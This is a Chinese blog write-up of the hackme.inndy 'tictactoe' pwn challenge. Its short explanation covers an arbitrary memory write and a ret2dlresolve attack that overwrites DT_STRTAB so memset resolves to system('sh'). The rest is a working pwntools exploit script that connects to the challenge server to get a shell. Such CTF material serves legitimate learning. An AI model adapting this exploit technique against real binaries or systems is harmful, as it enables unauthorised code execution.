hackme inndy pwn tictactoe writeup

原创

charlie_heng 于 2018-01-03 11:48:10 发布 447 收藏

分类专栏： pwn

本文链接：https://blog.csdn.net/charlie_heng/article/details/78959626

昨天立的果然是个flag。。。。还是忍不住做了

这题ai其实很容易破，有个任意内存写，直接写到胜利就可以了

但是怎么get shell呢？

看了下，发现初始化的时候把一段地址设为可写了，那段地址存的是DT_SYMTAB之类的地址，所以很明显，这题是ret2dlresolve，那么怎么改呢？

最快的方法是改DT_STRTAB，当执行到memset的时候，把它的字符串变为system，然后再将它的参数设为sh，这样就能get到shell了

多的我就不说了，自己看代码吧

```python
from pwn import *

#p=process('./tictactoe')
p=remote('hackme.inndy.tw', 7714)
context.log_level='debug'
#gdb.attach(proc.pidof(p)[0])
#raw_input()

str_addr=0x0804AF58
sh_addr=0x804B048
base_addr=0x804B056

p.recvuntil('Play (1)st or (2)nd? ')
p.sendline('1')

def change(addr,val):
    p.recvuntil('Input move (9 to change flavor): ')
    p.sendline('9')
    time.sleep(0.2)
    p.sendline(val)
    p.recvuntil('Input move (9 to change flavor): ')
    p.sendline(str(addr-base_addr))

box=0x804b04d
change(sh_addr,'\x8d')#这里改了之后，循环一直是给你写
change(box+0,'\x40')
change(str_addr+1,'\x9f')
change(str_addr,'\xc8')
change(sh_addr+1,'\x97')
change(sh_addr+2,'\x00')
change(sh_addr+3,'\xff')
change(sh_addr+123,'\xff')#这里只是填充
change(sh_addr+123,'\xff')

p.interactive()
```